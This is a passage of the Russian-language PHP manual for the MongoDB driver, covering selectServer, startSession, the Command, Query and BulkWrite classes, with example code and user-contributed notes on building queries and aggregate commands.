Замечание: В отличие от MongoDB\Driver\Manager::getServers(), этот метод будет инициализировать подключение к базе данных и при необходимости выполнять обнаружение сервера. Подробнее смотрите. » Спецификацию выбора сервера.

Список параметров

readPreference (MongoDB\Driver\ReadPreference)

Предпочтение чтения используется для выбора сервера. Если null или опущен, по умолчанию будет выбран первичный сервер.

Возвращаемые значения

Возвращает MongoDB\Driver\Server, соответствующий предпочтению чтения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • При невозможности найти сервер, соответствующий предпочтению чтения, выбрасывает исключение MongoDB\Driver\Exception\RuntimeException

Список изменений

Версия | Описание
PECL mongodb 1.11.0 | Параметр readPreference теперь необязателен. Если указано значение null или опущен, по умолчанию будет выбран первичный сервер.

Смотрите также

  • MongoDB\Driver\Server
  • MongoDB\Driver\Manager::getServers() - Возвращает серверы, к которым подключён менеджер
  • » Спецификация выбора сервера

User Contributed Notes

There are no user contributed notes for this page.


Запускает новый клиентский сеанс для использования с этим клиентом

  • « MongoDB\Driver\Manager::selectServer
  • MongoDB\Driver\Command »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Запускает новый клиентский сеанс для использования с этим клиентом

MongoDB\Driver\Manager::startSession

(mongodb >=1.4.0)

MongoDB\Driver\Manager::startSession — Запускает новый клиентский сеанс для использования с этим клиентом

Описание

final public MongoDB\Driver\Manager::startSession(?array $options = null): MongoDB\Driver\Session

Создаёт MongoDB\Driver\Session для указанных параметров. Сеанс затем может быть указан при выполнении команд, запросов и операций записи.

Замечание: MongoDB\Driver\Session может использоваться только с MongoDB\Driver\Manager, из которого он был создан.

Список параметров

options

options
Опция Тип Описание По умолчанию
causalConsistency bool

Настраивает причинную согласованность в сеансе. Если true, каждая операция в сеансе будет причинно упорядочена после предыдущей операции чтения или записи. Установите на false, чтобы отключить причинную согласованность.

Смотрите » Причинную согласованность в руководстве MongoDB для получения дополнительной информации.

true
defaultTransactionOptions array

Параметры по умолчанию для применения к вновь создаваемым транзакциям. Эти параметры используются, если они не переопределяются, когда транзакция запускается с различным значением для каждого параметра.

options
Опция Тип Описание
maxCommitTimeMS integer

Максимальный период времени в миллисекундах, в течение которого может выполняться одна команда commitTransaction.

Если указано, maxCommitTimeMS должно быть 32-разрядным целым числом со знаком, большим или равным нулю.

readConcern MongoDB\Driver\ReadConcern

Гарантия чтения для применения к операции.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

readPreference MongoDB\Driver\ReadPreference

Предпочтение чтения, используемая для выбора сервера для выполнения операции.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Эта опция доступна в MongoDB 4.0+.

[]
snapshot bool

Опция настраивает чтение моментальных снимков в сессии. Если true, временная метка будет получена из первой поддерживаемой операции чтения в сессии (т.е. find, aggregate или unsharded distinct). Последующие операции чтения в рамках сессии будут затем использовать уровень гарантии чтения "snapshot" для чтения данных, подтверждённых большинством, из этой временной метки. Установите значение false для отключения чтения моментальных снимков.

Для чтения моментальных снимков требуется MongoDB 5.0+, и их нельзя использовать с причинно-согласованной связью, транзакциями или операциями записи. Если "snapshot" равен true, "causalConsistency" по умолчанию будет false.

Смотрите » гарантию чтения "snapshot" в руководстве MongoDB для получения дополнительной информации.

false

Возвращаемые значения

Возвращает MongoDB\Driver\Session.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException если опции "causalConsistency" и "snapshot" равны true.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException если сеанс не может быть создан (например, libmongoc не поддерживает шифрование).

Список изменений

Версия | Описание
PECL mongodb 1.11.0 | Добавлен параметр "snapshot".
PECL mongodb 1.6.0 | Параметр "maxCommitTimeMS" добавлен в "defaultTransactionOptions".
PECL mongodb 1.5.0 | Добавлена опция "defaultTransactionOptions".

Смотрите также

  • MongoDB\Driver\Session
  • » Причинная согласованность в руководстве MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Класс The MongoDB\Driver\Command

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\Command - это объект значения, представляющий команду базы данных.

Чтобы предоставить Помощников команд (Command Helpers) должен быть создан объект MongoDB\Driver\Command.

Обзор классов

final class MongoDB\Driver\Command {
/* Методы */
final public __construct(array|object $document, ?array $commandOptions = null)
}

Примеры

Пример #1 Использование MongoDB\Driver\Command для предоставления помощника по созданию коллекций

<?php
class CreateCollection {
protected $cmd = array();

function __construct($collectionName) {
$this->cmd["create"] = (string)$collectionName;
}
function setCappedCollection($maxBytes, $maxDocuments = false) {
$this->cmd["capped"] = true;
$this->cmd["size"] = (int)$maxBytes;

if ($maxDocuments) {
$this->cmd["max"] = (int)$maxDocuments;
}
}
function usePowerOf2Sizes($bool) {
if ($bool) {
$this->cmd["flags"] = 1;
} else {
$this->cmd["flags"] = 0;
}
}
function setFlags($flags) {
$this->cmd["flags"] = (int)$flags;
}
function getCommand() {
return new MongoDB\Driver\Command($this->cmd);
}
function getCollectionName() {
return $this->cmd["create"];
}
}

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$createCollection = new CreateCollection("cappedCollection");
$createCollection->setCappedCollection(64 * 1024);

try {
$command = $createCollection->getCommand();
$cursor = $manager->executeCommand("databaseName", $command);
$response = $cursor->toArray()[0];
var_dump($response);

$collstats = ["collstats" => $createCollection->getCollectionName()];
$cursor = $manager->executeCommand("databaseName", new MongoDB\Driver\Command($collstats));
$response = $cursor->toArray()[0];
var_dump($response);
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}

?>

Результат выполнения данного примера:

object(MongoDB\Driver\Command)#3 (1) {
  ["command"]=>
  array(3) {
    ["create"]=>
    string(16) "cappedCollection"
    ["capped"]=>
    bool(true)
    ["size"]=>
    int(65536)
  }
}
array(1) {
  ["ok"]=>
  float(1)
}
array(16) {
  ["ns"]=>
  string(29) "databaseName.cappedCollection"
  ["count"]=>
  int(0)
  ["size"]=>
  int(0)
  ["numExtents"]=>
  int(1)
  ["storageSize"]=>
  int(65536)
  ["nindexes"]=>
  int(1)
  ["lastExtentSize"]=>
  float(65536)
  ["paddingFactor"]=>
  float(1)
  ["paddingFactorNote"]=>
  string(101) "paddingFactor is unused and unmaintained in 2.8. It remains hard coded to 1.0 for compatibility only."
  ["userFlags"]=>
  int(0)
  ["capped"]=>
  bool(true)
  ["max"]=>
  int(9223372036854775807)
  ["maxSize"]=>
  int(65536)
  ["totalIndexSize"]=>
  int(8176)
  ["indexSizes"]=>
  object(stdClass)#4 (1) {
    ["_id_"]=>
    int(8176)
  }
  ["ok"]=>
  float(1)
}

Содержание

  • MongoDB\Driver\Command::__construct — Создаёт новый объект Command

User Contributed Notes

jonny dot b dot 112 at gmail dot com 27-Sep-2018 09:14
0) Read the official MongoDB documentation for understand what db commands you can use and what parameters they requires - https://docs.mongodb.com/manual/reference/command/

1) Wrong:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);
because pipeline is array of objects in json words (index array of associative arrays in php words) - pipeline: [ {<stage>}, ... ]
What does it mean? It means that  'pipeline' must be like this:
[
    ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]],    // this is {<stage>}
    ['$match' => [...]],    // and this
    ...
    [...]    // and all of that
]
Just see https://docs.mongodb.com/manual/reference/operator/aggregation-pipeline/

2) The first pair in associative array for __construct's argument $document (if it is an array) must be a command name (e. g. 'count' => 'collectionName' or 'findAndModify' => 'collectionName'). I found this out experimentally, but you can examine source code  https://github.com/mongodb/mongo-php-driver/blob/master/src/MongoDB/Command.c for understand why it happens.
532041020 at qq dot com 30-Sep-2017 02:33
Wrong:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);
Right:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => [['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]][
]);
The 'pipeline' lack of '[]'
deiva at qq dot com 11-Aug-2017 09:59
I try to use the driver 1.29 (https://pecl.php.net/package/mongodb/1.2.9) in PHP 5.7, as following codes:

$mongo = new \MongoDB\Driver\Manager('mongodb://localhost:27017');

$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);

$rows = $mongo->executeCommand('database',  $cmd);
foreach($rows as $r){
    print_r($r);
}

it sometime saids:

Fatal error: Uncaught exception 'MongoDB\Driver\Exception\RuntimeException' with message ''pipeline' must be specified as an array'

sometime as :

Fatal error: Uncaught exception 'MongoDB\Driver\Exception\ConnectionTimeoutException' with message 'No suitable servers found (`serverSelectionTryOnce` set): [socket timeout calling ismaster on '127.0.0.1:27017']'

PS: other command can be executed normally.
tdrpic 09-Aug-2016 05:28
In case you're wondering how to perform a 'distinct' query:

<?php

// Sample MongoDB command:
// db.product.distinct("scent", {"prodCat": "10 oz can"})

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$query = ['prodCat' => '10 oz can']; // your typical MongoDB query
$cmd = new MongoDB\Driver\Command([
    // build the 'distinct' command
    'distinct' => 'product', // specify the collection name
    'key' => 'scent', // specify the field for which we want to get the distinct values
    'query' => $query // criteria to filter documents
]);
$cursor = $manager->executeCommand('catalog', $cmd); // retrieve the results
$scents = current($cursor->toArray())->values; // get the distinct values as an array

var_dump($scents);

?>


Создаёт новый объект Command

  • « MongoDB\Driver\Command
  • MongoDB\Driver\Query »
  • PHP Manual
  • MongoDB\Driver\Command
  • Создаёт новый объект Command

MongoDB\Driver\Command::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Command::__construct — Создаёт новый объект Command

Описание

final public MongoDB\Driver\Command::__construct(array|object $document, ?array $commandOptions = null)

Создаёт новый объект класса MongoDB\Driver\Command, который является неизменяемым значением, представляющим команду базы данных. Эту команду впоследствии можно запустить с помощью MongoDB\Driver\Manager::executeCommand().

Полный документ команды, включающий её имя и прочие опции,, должен быть задан в параметре document. Параметр commandOptions используется только для определения опций запуска команды и результирующий MongoDB\Driver\Cursor.

Список параметров

document

Полный документ команды, который будет передан серверу.

commandOptions

Замечание: Не используйте этот параметр для указания опций, описанных в руководстве по командам MongoDB. Этот параметр можно использовать только для опций перечисленных ниже.

commandOptions
Опция Тип Описание
maxAwaitTimeMS int

Положительное целое число, определяющие ограничение времени в миллисекундах, на которое сервер может блокировать операцию getMore, если данные отсутствуют. Эта опция может использоваться только совместно с командами, возвращающими хвостовые (tailable) курсоры. (например » Change Streams).

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.4.0 | Добавлен второй аргумент commandOptions, позволяющий определить опцию "maxAwaitTimeMS".

Примеры

Пример #1 Пример использования MongoDB\Driver\Command::__construct()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$command = new MongoDB\Driver\Command(array("buildinfo" => 1));

try {
$cursor = $manager->executeCommand("admin", $command);
$response = $cursor->toArray()[0];
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}
var_dump($response);

?>

Результатом выполнения данного примера будет что-то подобное:

array(13) {
  ["version"]=>
  string(14) "2.8.0-rc2-pre-"
  ["gitVersion"]=>
  string(62) "b743d7158f7642f4da6b7eac8320374b3b88dc2e modules: subscription"
  ["OpenSSLVersion"]=>
  string(25) "OpenSSL 1.0.1f 6 Jan 2014"
  ["sysInfo"]=>
  string(104) "Linux infant 3.16.0-24-generic #32-Ubuntu SMP Tue Oct 28 13:07:32 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49"
  ["loaderFlags"]=>
  string(91) "-fPIC -pthread -Wl,-z,now -rdynamic -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now -Wl,-E"
  ["compilerFlags"]=>
  string(301) "-Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -fno-builtin-memcmp -std=c99"
  ["allocator"]=>
  string(8) "tcmalloc"
  ["versionArray"]=>
  array(4) {
    [0]=>
    int(2)
    [1]=>
    int(8)
    [2]=>
    int(0)
    [3]=>
    int(-8)
  }
  ["javascriptEngine"]=>
  string(2) "V8"
  ["bits"]=>
  int(64)
  ["debug"]=>
  bool(false)
  ["maxBsonObjectSize"]=>
  int(16777216)
  ["ok"]=>
  float(1)
}

Пример #2 Пример использования MongoDB\Driver\Command::__construct()

Команды также могут принимать опции, как часть нормальной структуры, которую вы создаёте и отправляете на сервер. К примеру, с большинством команд можно передавать опцию maxTimeMS для ограничения времени их выполнения.

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$command = new MongoDB\Driver\Command(
array(
"distinct" => "beer",
"key" => "beer_name",
"maxTimeMS" => 10,
)
);

try {
$cursor = $manager->executeCommand("beerdb", $command);
$response = $cursor->toArray()[0];
} catch(MongoDB\Driver\Exception\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}
var_dump($response);

?>

Результатом выполнения данного примера будет что-то подобное:

operation exceeded time limit

Смотрите также

  • MongoDB\Driver\Manager::executeCommand() - Выполняет команду базы данных
  • MongoDB\Driver\Cursor

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Query

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\Query - это объект значения, представляющий запрос базы данных.

Обзор классов

final class MongoDB\Driver\Query {
/* Методы */
final public __construct(array|object $filter, ?array $queryOptions = null)
}

Содержание

  • MongoDB\Driver\Query::__construct — Создаёт новый запрос

User Contributed Notes

jaimegarbanzo at gmail dot com 18-Jan-2021 09:46
# constructing a to a remote server and querry and limiting the result to the latest 3 results

$username ="yourusername";
$password = "yourpasswort";

$manager = new MongoDB\Driver\Manager("mongodb://yourserver.com/",
     array("username" => $username, "password" => $password )
    );

# setting your options and filter
$filter  = [];
$options = ['sort'=>array('_id'=>-1),'limit'=>3]; # limit -1 from newest to oldest

#constructing the querry
$query = new MongoDB\Driver\Query($filter, $options);

#executing
$cursor = $manager->executeQuery('resultdb.test', $query);

echo "dumping results<br>";
foreach ($cursor as $document) {
    var_dump($document);
}
tiwaritusharudayan at gmail dot com 15-Jun-2018 09:29
This format displays the documents returned from the query as stdClass Objects. For display purposes, it's fine, but if certain computations need to be performed using the returned documents and their corresponding fields, use this:

------------------------------------Code Snippet-----------------------------------

$connection = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$filter = ["name"=>"insert_desired_name_here"];
/* the following condition, and others similar to it, work as well

$filter = ["age"=>["$gt"=>"18"]]; /*/

$options = []; /* put desired options here, should you need any */

$query = new MongoDB\Driver\Query($filter,$options);

$documents = $connection->executeQuery('trial.trial' /*dbname.collection_name*/,$query);

foreach($documents as $document){
    $document = json_decode(json_encode($document),true);
    echo $document[name];
}

--------------------------------------------------------------------------------------

The first executable statement inside the foreach encodes the returned stdClass object to a json object, and the same is immediately decoded to an associative array, which can then be used as and when needed
dvdogrady at gmail dot com 29-Oct-2017 03:58
Hello

Im just writing this note to help people out who want to write $filter arrays with query operators in them.

I have copied this code off maha88a's note but I changed the $filter to give you an idea of how it would work with the query operators

Considering the following MangoDB collection:

<?php
/* my_collection */

/* 1 */
{
    "_id" : ObjectId("5707f007639a94cbc600f282"),
    "id" : 1,
    "name" : "Name 1"
}

/* 2 */
{
    "_id" : ObjectId("5707f0a8639a94f4cd2c84b1"),
    "id" : 2,
    "name" : "Name 2"
}
?>

I'm using the following code:
<?php
// This $filter will return any id's qualing to 2 but what if we want all the id's above 0.
// $filter = ['id' => 2];
// This is how we would do this.
$filter = ['id' => ['$gt' => 0]]
$options = [
   'projection' => ['_id' => 0],
];
$query = new MongoDB\Driver\Query($filter, $options);
$rows = $mongo->executeQuery('db_name.my_collection', $query); // $mongo contains the connection object to MongoDB
foreach($rows as $r){
   print_($r);
}
?>
yatiny3007 at gmail dot com 04-Feb-2017 07:03
Find By _id

$mongo = new \MongoDB\Driver\Manager('mongodb://root:root@192.168.0.127/db');

$id           = new \MongoDB\BSON\ObjectId("588c78ce02ac660426003d87");
$filter      = ['_id' => $id];
$options = [];

$query = new \MongoDB\Driver\Query($filter, $options);
$rows   = $mongo->executeQuery('db.collectionName', $query);

foreach ($rows as $document) {
  pr($document);
}
Dalahimself 17-Nov-2016 07:12
How to query for an MongoDb _id with value $id

<?php
$filter=array();
$filter['_id']=new MongoDB\BSON\ObjectID($id);

$command=[
                  'find' => 'my_collection',
                  'filter' => $filter
];

$query = new MongoDB\Driver\Command($command);
?>
maha88a 09-Apr-2016 05:38
Here is an example of Query to retrieve the records from MangoDB collection using a filter. It will return in this case just one record that satisfy the filter id = 2.

Considering the following MangoDB collection:

<?php
/* my_collection */

/* 1 */
{
    "_id" : ObjectId("5707f007639a94cbc600f282"),
    "id" : 1,
    "name" : "Name 1"
}

/* 2 */
{
    "_id" : ObjectId("5707f0a8639a94f4cd2c84b1"),
    "id" : 2,
    "name" : "Name 2"
}
?>

I'm using the following code:
<?php
$filter = ['id' => 2];
$options = [
   'projection' => ['_id' => 0],
];
$query = new MongoDB\Driver\Query($filter, $options);
$rows = $mongo->executeQuery('db_name.my_collection', $query); // $mongo contains the connection object to MongoDB
foreach($rows as $r){
   print_($r);
}
?>


Создаёт новый запрос

  • « MongoDB\Driver\Query
  • MongoDB\Driver\BulkWrite »
  • PHP Manual
  • MongoDB\Driver\Query
  • Создаёт новый запрос

MongoDB\Driver\Query::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Query::__construct — Создаёт новый запрос

Описание

final public MongoDB\Driver\Query::__construct(array|object $filter, ?array $queryOptions = null)

Создаёт новый MongoDB\Driver\Query, который является объектом неизменяемого значения, представляющим запрос к базе данных. Затем запрос может быть выполнен с помощью MongoDB\Driver\Manager::executeQuery().

Список параметров

filter (array|object)

» Предикат запроса. Пустой предикат совпадёт со всеми элементами коллекции.

Замечание: При вычислении критериев запроса, MongoDB сравнивает типы и значения в соответствии с собственными » правилами сравнения типов BSON, отличных от правил сравнения и приведения типов PHP. Когда используется специальный тип BSON, критерия запроса должна соответствовать классу BSON (т.е. использовать MongoDB\BSON\ObjectId для выборке по » ObjectId).

queryOptions

queryOptions
Опция | Тип | Описание
allowDiskUse bool

Позволяет MongoDB использовать временные файлы на диске для хранения данных, превышающих предел системной памяти в 100 мегабайт, при обработке операции сортировки блокировки.

allowPartialResults bool

Для запросов к изолированной коллекции возвращает частичные результаты из mongos, если некоторые шарды недоступны, вместо выдачи ошибки.

Возврат к устаревшей "partial" опции, если она не указана.

awaitData | bool | Используйте совместно с опцией "tailable", чтобы временно заблокировать операцию getMore для курсора, если в конце данных, а не возвращать никаких данных. После истечения времени ожидания запрос возвращается, как обычно.
batchSize int

Количество документов для возврата в первом пакете. По умолчанию - 101. Размер пакета 0 означает, что курсор будет установлен, но никакие документы не будут возвращены в первом пакете.

В версиях MongoDB до 3.2, где запросы используют устаревший проводной протокол OP_QUERY, размер пакета, равный 1, будет закрывать курсор независимо от количества совпадающих документов.

collation array|object

» Сопоставление позволяет пользователям указывать специфичные для конкретного языка правила для сравнения строк, такие как реакцию на регистр букв и надстрочные знаки. Если задано сопоставление, то поле "locale" также обязательно. Описание полей смотрите в разделе » Сопоставление.

Если сопоставление не задано явно, но у коллекции определено сопоставление по умолчанию, то будет использовано оно. Если нет ни того ни того, то MongoDB будет использовать простое бинарное сравнение строк.

Эта опция доступна в MongoDB 3.4+ и, если будет использована для более старых версий, вызовет исключение во время исполнения.

comment mixed

Произвольный комментарий, помогающий отследить операцию с помощью профилировщика базы данных, вывода CurrentOp и журналов.

Комментарий может быть любым допустимым типом BSON для MongoDB 4.4+. Более ранние версии сервера поддерживают только строковые значения.

Возврат к устаревшему модификатору "$comment", если он не указан.

exhaust bool

Потоковая передача данных на полную мощность в нескольких "дополнительных" пакетах при условии, что клиент полностью прочитает все запрашиваемые данные. Быстрее, когда вы извлекаете много данных и знаете, что хотите все это перенести. Примечание: клиент не имеет права не читать все данные, если он не закрывает соединение.

Эта опция не поддерживается командой find в MongoDB 3.2+ и заставит драйвер использовать устаревшую версию проводного протокола (то есть OP_QUERY).

explain bool

Если true, возвращённый MongoDB\Driver\Cursor будет содержать один документ, который описывает процесс и индексы, используемые для возврата запроса.

Возврат к устаревшему модификатору "$explain", если он не указан.

Эта опция не поддерживается командой find в MongoDB 3.2+ и будет учитываться только при использовании устаревшей версии проводного протокола (т.е. OP_QUERY). Команда » explain должна использоваться на MongoDB 3.0+.

hint string|array|object

Индекс спецификации. Укажите либо имя индекса в виде строки, либо шаблон ключа индекса. Если указано, то система запросов будет рассматривать планы только с использованием хинтованного индекса.

Откат к устаревшей опции "hint", если она не указана.

let array|object

Карта имён и значений параметров. Значения должны быть константами или закрытыми выражениями, которые не ссылаются на поля документа. К параметрам можно обращаться как к переменным в контексте агрегированного выражения (например, $$var).

Опция доступна в MongoDB 5.0+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

limit int

Максимальное количество документов для возврата. Если не указано, то по умолчанию используется без ограничений. Значение 0 эквивалентно установке без ограничения.

Отрицательное значение будет интерпретироваться как положительное значение с параметром "singleBatch", установленным в значение true. Это поведение поддерживается для обратной совместимости, но его следует считать устаревшим.

max array|object

Эксклюзивная верхняя граница для определённого индекса.

Возврат к устаревшему модификатору "$max", если он не указан.

maxAwaitTimeMS int

Положительное целое число, обозначающее ограничение времени в миллисекундах для сервера, чтобы заблокировать операцию getMore, если данные недоступны. Эта опция должна использоваться только в сочетании с опциями "tailable" и "awaitData".

maxScan int
Внимание

Эта опция устарела и не должна использоваться.

Целое положительное число, обозначающее максимальное количество документов или индексных ключей для сканирования при выполнении запроса.

Возврат к устаревшему модификатору "$maxScan", если он не указан.

maxTimeMS int

Накопленный лимит времени в миллисекундах для операций обработки на курсоре. MongoDB прерывает операцию в ближайшей следующей точке прерывания.

Возврат к устаревшему модификатору "$maxTimeMS", если он не указан.

min array|object

Включающая нижняя граница для определённого индекса.

Возврат к устаревшему модификатору "$min", если он не указан.

modifiers | array | » Метаоператоры, изменяющие вывод или поведение запроса. Использование этих операторов не рекомендуется в пользу именованных опций.
noCursorTimeout | bool | Запрещает серверу синхронизировать незанятые курсоры после периода бездействия (10 минут).
oplogReplay bool

Внутреннее использование для наборов реплик. Чтобы использовать oplogReplay, вы должны включить в фильтр следующее условие:

[ 'ts' => [ '$gte' => <timestamp> ] ]

Замечание: Опция устарела с версии 1.8.0.
projection array|object

» Спецификация проекции для определения полей, которые необходимо включить в возвращаемые документы.

Если вы используете функцию ODM для десериализации документов в качестве их исходного класса PHP, убедитесь, что вы включили поле __pclass в проекцию. Это необходимо для работы десериализации, и без неё драйвер вернёт (по умолчанию) объект stdClass.

readConcern MongoDB\Driver\ReadConcern

Гарантии чтения, чтобы применить к операции. По умолчанию будут использоваться гарантии чтения из URI подключения MongoDB.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указано для более старой версии сервера.

returnKey bool

Если true, возвращает только индексные ключи в результирующих документах. Значением по умолчанию является false. Если true и команда find не используют индекс, возвращённые документы будут пустыми.

Возврат к устаревшему модификатору "$returnKey", если он не указан.

showRecordId bool

Определяет, возвращать ли идентификатор записи для каждого документа. Если true, добавляет поле "$recordId" верхнего уровня к возвращённым документам.

Возврат к устаревшему модификатору "$showDiskLoc", если он не указан.

singleBatch | bool | Определяет, закрывать ли курсор после первого пакета. По умолчанию false.
skip | int | Количество документов для пропуска. По умолчанию 0.
snapshot bool
Внимание

Эта опция устарела и не должна использоваться.

Запрещает курсору возвращать документ более одного раза из-за промежуточной операции записи.

Возврат к устаревшему модификатору "$snapshot", если он не указан.

sort array|object

Спецификация сортировки для упорядочения результатов.

Возврат к устаревшему модификатору "$orderby", если он не указан.

tailable | bool | Возвращает настраиваемый курсор для ограниченной коллекции.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.14.0

Добавлена опция "let". Опция "comment" теперь принимает любой тип.

PECL mongodb 1.8.0

Добавлен параметр "allowDiskUse".

Параметр "oplogReplay" объявлен устаревшим.

PECL mongodb 1.5.0

Параметры "maxScan" и "snapshot" устарели.

PECL mongodb 1.3.0

Добавлен параметр "maxAwaitTimeMS".

PECL mongodb 1.2.0

Добавлен параметр "allowPartialResults", "collation", "comment", "hint", "max", "maxScan", "maxTimeMS", "min", "returnKey", "showRecordId", и "snapshot".

Переименован параметр "partial" в "allowPartialResults". Для обратной совместимости, "partial" всё равно будет прочитан, если "allowPartialResults" не указан.

Удалён устаревший параметр "secondaryOk". Для запросов, использующих устаревший проводной протокол OP_QUERY, драйвер установит бит secondaryOk по мере необходимости в соответствии с » Спецификацией выбора сервера.

PECL mongodb 1.1.0 | Добавлен параметр "readConcern".

Примеры

Пример #1 Пример использования MongoDB\Driver\Query::__construct()

<?php
/* Выберите только документы, автором которых является "bjori" с не менее 100 просмотров */
$filter = [
'author' => 'bjori',
'views' => [
'$gte' => 100,
],
];

$options = [
/* Вернуть только следующие поля в соответствующих документах */
'projection' => [
'title' => 1,
'article' => 1,
],
/* Вернуть документы в порядке убывания просмотров */
'sort' => [
'views' => -1
],
];

$query = new MongoDB\Driver\Query($filter, $options);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$readPreference = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$cursor = $manager->executeQuery('databaseName.collectionName', $query, $readPreference);

foreach($cursor as $document) {
var_dump($document);
}

?>

Смотрите также

  • MongoDB\Driver\Manager::executeQuery() - Выполняет запрос к базе данных
  • MongoDB\Driver\Cursor

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\BulkWrite

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\BulkWrite собирает одну или несколько операций записи, которые должны быть отправлены на сервер. После добавления любого количества операций вставки, обновления или удаления, коллекция может быть выполнена с помощью MongoDB\Driver\Manager::executeBulkWrite().

Операции записи могут быть отсортированы (по умолчанию) или не отсортированы. Отсортированные операции записи отправляются на сервер в указанном порядке для последовательного выполнения. В случае возникновения ошибки записи, любые оставшиеся операции будут прерваны. Неотсортированные операции отправляются на сервер в произвольном порядке, где они могут выполняться параллельно. Сообщения об ошибках, которые возникают, будут отправлены после выполнения всех операций.

Обзор классов

final class MongoDB\Driver\BulkWrite implements Countable {
/* Методы */
public __construct(?array $options = null)
public count(): int
public delete(array|object $filter, ?array $deleteOptions = null): void
public insert(array|object $document): mixed
public update(array|object $filter, array|object $newObj, ?array $updateOptions = null): void
}

Примеры

Пример #1 Смешанные операции группируются по типу

Смешанные операции записи (т.е. добавления, обновления или удаления) будут собраны в типизированные команды записи, которые в последовательном порядке будут отправлены на сервер.

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(['x' => 2], ['$set' => ['x' => 1]]);
$bulk->insert(['_id' => 3, 'x' => 3]);
$bulk->delete(['x' => 1]);

?>

В результате будут выполнены четыре команды записи (т.е. обращений). Поскольку операции отсортированы, третья вставка не может быть отправлена до тех пор, пока не будет выполнено предыдущее обновление.

Пример #2 Отсортированные операции записи, вызывающие ошибку

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->delete([]);
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3, 'hello' => 'world']);
$bulk->update(['_id' => 3], ['$set' => ['hello' => 'earth']]);
$bulk->insert(['_id' => 4, 'hello' => 'pluto']);
$bulk->update(['_id' => 4], ['$set' => ['hello' => 'moon']]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 5]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 1000);

try {
$result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
$result = $e->getWriteResult();

// Убедиться, что гарантия записи не может быть выполнена
if ($writeConcernError = $result->getWriteConcernError()) {
printf("%s (%d): %s\n",
$writeConcernError->getMessage(),
$writeConcernError->getCode(),
var_export($writeConcernError->getInfo(), true)
);
}

// Проверить, не выполнялись ли какие-либо операции записи
foreach ($result->getWriteErrors() as $writeError) {
printf("Operation#%d: %s (%d)\n",
$writeError->getIndex(),
$writeError->getMessage(),
$writeError->getCode()
);
}
} catch (MongoDB\Driver\Exception\Exception $e) {
printf("Другая ошибка: %s\n", $e->getMessage());
exit;
}

printf("Добавлено %d документ(ов)\n", $result->getInsertedCount());
printf("Обновлено %d документ(ов)\n", $result->getModifiedCount());

?>

Результат выполнения данного примера:

Operation#7: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 3 } (11000)
Добавлено 4 документ(ов)
Обновлено 2 документ(ов)

